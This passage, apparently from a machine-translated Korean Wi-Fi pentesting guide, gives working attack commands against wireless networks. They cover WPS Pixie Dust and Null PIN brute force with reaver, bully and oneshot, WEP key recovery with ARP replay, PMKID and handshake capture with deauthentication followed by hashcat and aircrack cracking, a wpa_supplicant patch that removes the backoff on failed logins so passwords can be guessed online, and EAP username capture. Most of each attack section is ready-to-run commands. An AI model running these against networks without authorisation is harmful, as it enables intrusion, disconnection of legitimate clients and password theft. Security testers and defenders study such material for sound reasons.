๊ฐ„๋‹จํžˆ ๋งํ•˜๋ฉด, ๋ฌธ์ œ๋Š” ์ผ๋ถ€ APs๊ฐ€ ์—ฐ๊ฒฐ ๊ณผ์ •์—์„œ PIN์„ ์•”ํ˜ธํ™”ํ•  ๋•Œ ์ถฉ๋ถ„ํžˆ ๋žœ๋คํ•œ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•˜๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด PIN์€ ๋„คํŠธ์›Œํฌ ์™ธ๋ถ€์—์„œ ์ถ”์ธก๋  ์ˆ˜ ์žˆ์–ด (offline brute force attack)์— ์ทจ์•ฝํ•ด์ง‘๋‹ˆ๋‹ค.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

๋””๋ฐ”์ด์Šค๋ฅผ monitor mode๋กœ ์ „ํ™˜ํ•˜๊ธฐ ์‹ซ๊ฑฐ๋‚˜ reaver์™€ bully์— ๋ฌธ์ œ๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ, OneShot-C๋ฅผ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” monitor mode๋กœ ์ „ํ™˜ํ•˜์ง€ ์•Š๊ณ ๋„ Pixie Dust attack์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

์„ค๊ณ„๊ฐ€ ๋ถ€์‹คํ•œ ์ผ๋ถ€ ์‹œ์Šคํ…œ์€ Null PIN(๋นˆ PIN ๋˜๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š” PIN)์œผ๋กœ๋„ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์–ด, ์ด๋Š” ๋งค์šฐ ์ด๋ก€์ ์ž…๋‹ˆ๋‹ค.
๋„๊ตฌ Reaver๋Š” ์ด ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์ง€๋งŒ Bully๋Š” ๊ทธ๋ ‡์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

All the proposed WPS attacks can be easily performed using airgeddon.

  • 5 and 6 lets you try ์‚ฌ์šฉ์ž ์ง€์ • PIN (์žˆ๋Š” ๊ฒฝ์šฐ)
  • 7 and 8 perform the Pixie Dust attack
  • 13 allows you to test the NULL PIN
  • 11 and 12 will ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์„ ํƒํ•œ AP์™€ ๊ด€๋ จ๋œ PIN๋“ค์„ ์žฌ์ˆ˜์ง‘ํ•˜๊ณ  ๊ฐ€๋Šฅํ•œ PIN๋“ค์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ComputePIN, EasyBox ๋ฐ ์„ ํƒ์ ์œผ๋กœ Arcadyan(๊ถŒ์žฅ, ์™œ ์•ˆ ํ•ด?)์„ ์‚ฌ์šฉํ•œ๋‹ค
  • 9 and 10 will test ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ PIN

WEP

์™œ ๋ฌด๋„ˆ์ง€๋Š”๊ฐ€

  • RC4 seed๋Š” ๋‹จ์ง€ IV (24 bits) + shared key์ด๋‹ค. IV๋Š” cleartext์ด๊ณ , ์ž‘๋‹ค(2^24), ๊ทธ๋ฆฌ๊ณ  ๋น ๋ฅด๊ฒŒ ๋ฐ˜๋ณต๋˜๋ฏ€๋กœ ๋™์ผํ•œ IV๋ฅผ ๊ฐ€์ง„ ciphertexts๋Š” keystream์„ ์žฌ์‚ฌ์šฉํ•œ๋‹ค.
  • XORing ๋‘ ciphertexts๊ฐ€ ๋™์ผํ•œ keystream์„ ๊ฐ€์งˆ ๊ฒฝ์šฐ PlaintextA โŠ• PlaintextB leaks; ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ headers + RC4 KSA biases (FMS)๋Š” ํ‚ค ๋ฐ”์ดํŠธ์— ๋Œ€ํ•ด โ€œvoteโ€ํ•˜๊ฒŒ ํ•ด์ค€๋‹ค. PTW๋Š” ARP traffic์„ ์‚ฌ์šฉํ•ด ์ด๋ฅผ ์ตœ์ ํ™”ํ•˜์—ฌ ํ•„์š”ํ•œ ํŒจํ‚ท ์ˆ˜๋ฅผ ์ˆ˜๋ฐฑ๋งŒ์—์„œ ์ˆ˜๋งŒ์œผ๋กœ ์ค„์ธ๋‹ค.
  • ๋ฌด๊ฒฐ์„ฑ์€ ๋‹จ์ง€ CRC32(์„ ํ˜•/๋ฌดํ‚ค)๋ฟ์ด๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ํ‚ค ์—†์ด ๋น„ํŠธ๋ฅผ ๋’ค์ง‘๊ณ  CRC32๋ฅผ ๋‹ค์‹œ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค โ†’ IV๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋Š” ๋™์•ˆ packet forgery/replay/ARP injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Practical break is deterministic:

airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon  # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap  # PTW attack recovers key once IV threshold is met

Airgeddon์€ ์—ฌ์ „ํžˆ ์•ˆ๋‚ดํ˜• UI๋ฅผ ์„ ํ˜ธํ•œ๋‹ค๋ฉด โ€œAll-in-Oneโ€ WEP ์›Œํฌํ”Œ๋กœ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.



WPA/WPA2 PSK

PMKID

In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesnโ€™t require any clients to be connected to the target APโ€”just interaction between the attacker and the AP.

๋งŽ์€ ์ตœ์‹  ๋ผ์šฐํ„ฐ๋Š” ์—ฐ๊ฒฐ(association) ์ค‘ ์ฒซ ๋ฒˆ์งธ EAPOL ํ”„๋ ˆ์ž„์— Robust Security Network๋กœ ์•Œ๋ ค์ง„ ์„ ํƒ์  ํ•„๋“œ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ•„๋“œ์—๋Š” PMKID๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

As the original post explains, the PMKID is created using known data:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

โ€œPMK Nameโ€œ์ด ๊ณ ์ •๋˜์–ด ์žˆ๊ณ , AP์˜ BSSID์™€ station์„ ์•Œ๊ณ  ์žˆ์œผ๋ฉฐ PMK๊ฐ€ ์ „์ฒด 4-way handshake์˜ ๊ฒƒ๊ณผ ๋™์ผํ•˜๋ฏ€๋กœ, hashcat์€ ์ด ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ด PSK๋ฅผ ํฌ๋ž™ํ•˜๊ณ  passphrase๋ฅผ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

์ด ์ •๋ณด๋ฅผ gatherํ•˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋กœ์ปฌ์—์„œ bruteforceํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs captured๋Š” console์— ํ‘œ์‹œ๋˜๋ฉฐ ๋˜ํ•œ _ /tmp/attack.pcap_.
์ด์ œ capture๋ฅผ hashcat/john format์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ณ  crackํ•˜์„ธ์š”:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

์˜ฌ๋ฐ”๋ฅธ ํ•ด์‹œ ํ˜•์‹์€ ์ด 4๋ถ€๋ถ„์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค, ์˜ˆ: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 ๋งŒ์•ฝ ๋‹น์‹ ์˜ ๊ฒƒ์ด ์˜ค์ง 3๋ถ€๋ถ„๋งŒ ํฌํ•จํ•œ๋‹ค๋ฉด, ๊ทธ๊ฒƒ์€ ์œ ํšจํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (PMKID ์บก์ฒ˜๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค).

์ฐธ๊ณ ๋กœ hcxdumptool์€ handshakes๋„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค (๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ•ญ๋ชฉ์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค: MP:M1M2 RC:63258 EAPOLTIME:17091). cap2hccapx๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด handshakes๋ฅผ hashcat/john ํฌ๋งท์œผ๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

์ด ๋„๊ตฌ๋กœ ์บก์ฒ˜ํ•œ ์ผ๋ถ€ handshakes๋Š” ์˜ฌ๋ฐ”๋ฅธ password๋ฅผ ์•Œ๊ณ  ์žˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  cracked๋˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์ „ํ†ต์ ์ธ ๋ฐฉ์‹์œผ๋กœ๋„ handshakes๋ฅผ ์บก์ฒ˜ํ•˜๊ฑฐ๋‚˜, ์ด ๋„๊ตฌ๋กœ ์—ฌ๋Ÿฌ ๊ฑด์„ ์บก์ฒ˜ํ•  ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

Handshake ์บก์ฒ˜

WPA/WPA2 ๋„คํŠธ์›Œํฌ์— ๋Œ€ํ•œ ๊ณต๊ฒฉ์€ handshake๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  ์•”ํ˜ธ๋ฅผ offline์—์„œ crack ์‹œ๋„ํ•จ์œผ๋กœ์จ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ํŠน์ • ๋„คํŠธ์›Œํฌ์˜ ํ†ต์‹ ๊ณผ ํŠน์ • channel์˜ BSSID๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ฐ„๋‹จํ•œ ๊ฐ€์ด๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ๋Œ€์ƒ ๋„คํŠธ์›Œํฌ์˜ BSSID, channel, ๋ฐ connected client๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  2. ์ง€์ •๋œ ์ฑ„๋„๊ณผ BSSID์—์„œ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ handshake๋ฅผ ์บก์ฒ˜ํ•˜๋ ค๋ฉด airodump-ng๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ž…๋‹ˆ๋‹ค:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. handshake๋ฅผ ์บก์ฒ˜ํ•  ๊ฐ€๋Šฅ์„ฑ์„ ๋†’์ด๋ ค๋ฉด ํด๋ผ์ด์–ธํŠธ๋ฅผ ๋„คํŠธ์›Œํฌ์—์„œ ์ž ์‹œ ๋Š์–ด ์žฌ์ธ์ฆ์„ ๊ฐ•์ œํ•˜์„ธ์š”. ์ด๋Š” ํด๋ผ์ด์–ธํŠธ์— deauthentication packets๋ฅผ ์ „์†กํ•˜๋Š” aireplay-ng ๋ช…๋ น์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

client๊ฐ€ deauthenticated๋œ ๊ฒฝ์šฐ ๋‹ค๋ฅธ AP๋‚˜, ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋‹ค๋ฅธ network์— ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”.

airodump-ng์— handshake ์ •๋ณด๊ฐ€ ํ‘œ์‹œ๋˜๋ฉด handshake๊ฐ€ ์บก์ฒ˜๋˜์—ˆ์Œ์„ ์˜๋ฏธํ•˜๋ฏ€๋กœ listening์„ ์ค‘๋‹จํ•ด๋„ ๋ฉ๋‹ˆ๋‹ค:

handshake๊ฐ€ ์บก์ฒ˜๋˜๋ฉด aircrack-ng๋กœ crackํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

ํŒŒ์ผ์— handshake๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธ

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

์ด ๋„๊ตฌ๊ฐ€ ์™„๋ฃŒ๋œ handshake๋ณด๋‹ค ๋จผ์ € ESSID์˜ ๋ฏธ์™„๋ฃŒ handshake๋ฅผ ์ฐพ์œผ๋ฉด, ์œ ํšจํ•œ ๊ฒƒ์„ ๊ฐ์ง€ํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

wpa_supplicant ctrl socket๋ฅผ ํ†ตํ•œ ๋” ๋น ๋ฅธ ์˜จ๋ผ์ธ PSK ์ถ”์ธก (ํด๋ผ์ด์–ธํŠธ ์—†์Œ/PMKID)

ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—†๊ณ  AP๊ฐ€ PMKID๋ฅผ ๊ฑฐ๋ถ€ํ•  ๊ฒฝ์šฐ, supplicants๋ฅผ ์žฌ์‹œ์ž‘ํ•˜์ง€ ์•Š๊ณ ๋„ ์˜จ๋ผ์ธ์—์„œ PSK๋ฅผ ๋ฐ˜๋ณต ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • wpa_supplicant.c๋ฅผ ํŒจ์น˜ํ•˜์—ฌ auth failure backoff ๋กœ์ง(around ssid->auth_failures)์—์„œ dur = 0;์„ ๊ฐ•์ œ ์„ค์ •ํ•˜๋ฉด temporary-disable ํƒ€์ด๋จธ๊ฐ€ ์‚ฌ์‹ค์ƒ ๋น„ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค.
  • ํ•˜๋‚˜์˜ daemon์„ control socket๊ณผ ํ•จ๊ป˜ ์‹คํ–‰:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
  • ์ œ์–ด ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ํ†ตํ•ด ๊ตฌ๋™ํ•˜๋˜, ๋™์ผํ•œ scan ๋ฐ network๋ฅผ ์žฌ์‚ฌ์šฉ:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED

A small Python loop reading socket events (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) can test ~100 guesses in ~5 minutes without scan overhead. It is still noisy and detectable, but avoids per-attempt process restarts and backoff delays.

WPA Enterprise (MGT)

In ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ WiFi ์„ค์ •์—์„œ๋Š” ๋‹ค์–‘ํ•œ ์ธ์ฆ ๋ฐฉ์‹๋“ค์„ ๋งŒ๋‚˜๊ฒŒ ๋˜๋ฉฐ, ๊ฐ ๋ฐฉ์‹์€ ์„œ๋กœ ๋‹ค๋ฅธ ๋ณด์•ˆ ์ˆ˜์ค€๊ณผ ๊ด€๋ฆฌ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค. airodump-ng ๊ฐ™์€ ๋„๊ตฌ๋กœ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์กฐ์‚ฌํ•  ๋•Œ ์ด๋Ÿฌํ•œ ์ธ์ฆ ํƒ€์ž…์„ ๋‚˜ํƒ€๋‚ด๋Š” ์‹๋ณ„์ž๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•๋“ค์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • ์ด ๋ฐฉ๋ฒ•์€ EAP-PEAP ๋‚ด์—์„œ ํ•˜๋“œ์›จ์–ด ํ† ํฐ๊ณผ ์ผํšŒ์„ฑ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. MSCHAPv2์™€๋Š” ๋‹ฌ๋ฆฌ peer challenge๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์œผ๋ฉฐ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•ก์„ธ์Šค ํฌ์ธํŠธ์— ํ‰๋ฌธ์œผ๋กœ ์ „์†กํ•˜๋ฏ€๋กœ downgrade ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  1. EAP-MD5 (Message Digest 5):
  • ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ MD5 ํ•ด์‹œ๋ฅผ ์ „์†กํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ์‚ฌ์ „ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜๊ณ  ์„œ๋ฒ„ ์ธ์ฆ์ด ์—†์œผ๋ฉฐ ์„ธ์…˜๋ณ„ WEP ํ‚ค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  1. EAP-TLS (Transport Layer Security):
  • ํด๋ผ์ด์–ธํŠธ ์ธก ๋ฐ ์„œ๋ฒ„ ์ธก ์ธ์ฆ์„œ๋ฅผ ๋ชจ๋‘ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆํ•˜๋ฉฐ ํ†ต์‹  ๋ณด์•ˆ์„ ์œ„ํ•ด ์‚ฌ์šฉ์ž ๊ธฐ๋ฐ˜ ๋ฐ ์„ธ์…˜ ๊ธฐ๋ฐ˜ WEP ํ‚ค๋ฅผ ๋™์ ์œผ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • ์•”ํ˜ธํ™”๋œ ํ„ฐ๋„์„ ํ†ตํ•ด ์ƒํ˜ธ ์ธ์ฆ์„ ์ œ๊ณตํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž๋ณ„ยท์„ธ์…˜๋ณ„ ๋™์  WEP ํ‚ค๋ฅผ ๋„์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธก ์ธ์ฆ์„œ๋งŒ ํ•„์š”ํ•˜๊ณ  ํด๋ผ์ด์–ธํŠธ๋Š” ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  1. PEAP (Protected Extensible Authentication Protocol):
  • ๋ณดํ˜ธ๋œ ํ†ต์‹ ์„ ์œ„ํ•ด TLS ํ„ฐ๋„์„ ์ƒ์„ฑํ•œ๋‹ค๋Š” ์ ์—์„œ EAP์™€ ์œ ์‚ฌํ•˜๊ฒŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ํ„ฐ๋„์ด ์ œ๊ณตํ•˜๋Š” ๋ณดํ˜ธ ๋•๋ถ„์— EAP ์œ„์— ์•ฝํ•œ ์ธ์ฆ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • PEAP-MSCHAPv2: ํ”ํžˆ PEAP๋ผ๊ณ  ๋ถˆ๋ฆฌ๋ฉฐ, ์ทจ์•ฝํ•œ MSCHAPv2 challenge/response ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๋ณดํ˜ธ์šฉ TLS ํ„ฐ๋„๊ณผ ๊ฒฐํ•ฉํ•ฉ๋‹ˆ๋‹ค.
  • PEAP-EAP-TLS (or PEAP-TLS): EAP-TLS์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ์ธ์ฆ์„œ ๊ตํ™˜ ์ „์— TLS ํ„ฐ๋„์„ ๋จผ์ € ์‹œ์ž‘ํ•˜์—ฌ ์ถ”๊ฐ€์ ์ธ ๋ณด์•ˆ ๊ณ„์ธต์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์ด ์ธ์ฆ ๋ฐฉ๋ฒ•๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” here and here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Username Capture

Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the โ€œIdentityโ€ messages must be supported, and the username is going to be sent in clear in the โ€œResponse Identityโ€ messages.

๊ฐ€์žฅ ๋ณด์•ˆ์ด ๋†’์€ ์ธ์ฆ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜์ธ PEAP-EAP-TLS๋ฅผ ์‚ฌ์šฉํ•˜๋”๋ผ๋„ EAP ํ”„๋กœํ† ์ฝœ์—์„œ ์ „์†ก๋˜๋Š” username์„ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ์ธ์ฆ ํ†ต์‹ ์„ ์บก์ฒ˜ํ•˜์‹ญ์‹œ์˜ค (airodump-ng๋ฅผ ์ฑ„๋„ ๋‚ด๋ถ€์—์„œ ์‹คํ–‰ํ•˜๊ณ  ๋™์ผํ•œ ์ธํ„ฐํŽ˜์ด์Šค์—์„œ wireshark๋ฅผ ์‹คํ–‰ํ•œ ํ›„ ํŒจํ‚ท์„ eapol๋กœ ํ•„ํ„ฐ๋ง).
โ€œResponse, Identityโ€ ํŒจํ‚ท ๋‚ด๋ถ€์—์„œ ํด๋ผ์ด์–ธํŠธ์˜ ์‚ฌ์šฉ์ž ์ด๋ฆ„์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.

Anonymous Identities

Identity ์ˆจ๊ธฐ๊ธฐ๋Š” EAP-PEAP์™€ EAP-TTLS ๋ชจ๋‘์—์„œ ์ง€์›๋ฉ๋‹ˆ๋‹ค. WiFi ๋„คํŠธ์›Œํฌ ๋งฅ๋ฝ์—์„œ EAP-Identity ์š”์ฒญ์€ ์ผ๋ฐ˜์ ์œผ๋กœ association ๊ณผ์ • ์ค‘์— ์•ก์„ธ์Šค ํฌ์ธํŠธ(AP)์— ์˜ํ•ด ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ์ต๋ช…์„ฑ์„ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด, ์‚ฌ์šฉ์ž์˜ ์žฅ์น˜์— ์žˆ๋Š” EAP ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ด๋Š” ์‘๋‹ต์€ ์ดˆ๊ธฐ RADIUS ์„œ๋ฒ„๊ฐ€ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ํ•„์ˆ˜ ์ •๋ณด๋งŒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฐœ๋…์€ ๋‹ค์Œ ์‹œ๋‚˜๋ฆฌ์˜ค๋“ค๋กœ ์„ค๋ช…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • EAP-Identity = anonymous
  • ์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ€๋ช… โ€œanonymousโ€œ๋ฅผ ์‚ฌ์šฉ์ž ์‹๋ณ„์ž๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ดˆ๊ธฐ RADIUS ์„œ๋ฒ„๋Š” EAP-PEAP ๋˜๋Š” EAP-TTLS ์„œ๋ฒ„๋กœ ๋™์ž‘ํ•˜๋ฉฐ PEAP ๋˜๋Š” TTLS ํ”„๋กœํ† ์ฝœ์˜ ์„œ๋ฒ„ ์ธก์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๋‚ด๋ถ€(๋ณดํ˜ธ๋œ) ์ธ์ฆ ๋ฐฉ๋ฒ•์€ ๋กœ์ปฌ์—์„œ ์ฒ˜๋ฆฌ๋˜๊ฑฐ๋‚˜ ์›๊ฒฉ(home) RADIUS ์„œ๋ฒ„์— ์œ„์ž„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • EAP-Identity = anonymous@realm_x
  • ์ด ๊ฒฝ์šฐ ์„œ๋กœ ๋‹ค๋ฅธ realm์˜ ์‚ฌ์šฉ์ž๋“ค์ด ์ž์‹ ์˜ ์‹ ์›์€ ์ˆจ๊ธฐ๋ฉด์„œ ์†Œ์† realm์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ดˆ๊ธฐ RADIUS ์„œ๋ฒ„๋Š” EAP-PEAP ๋˜๋Š” EAP-TTLS ์š”์ฒญ์„ ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ํ™ˆ realm์— ์žˆ๋Š” RADIUS ์„œ๋ฒ„๋กœ ํ”„๋ก์‹œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ ์„œ๋ฒ„๋“ค์ด PEAP ๋˜๋Š” TTLS ์„œ๋ฒ„๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ดˆ๊ธฐ RADIUS ์„œ๋ฒ„๋Š” ๋‹จ์ง€ RADIUS ์ค‘๊ณ„ ๋…ธ๋“œ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.
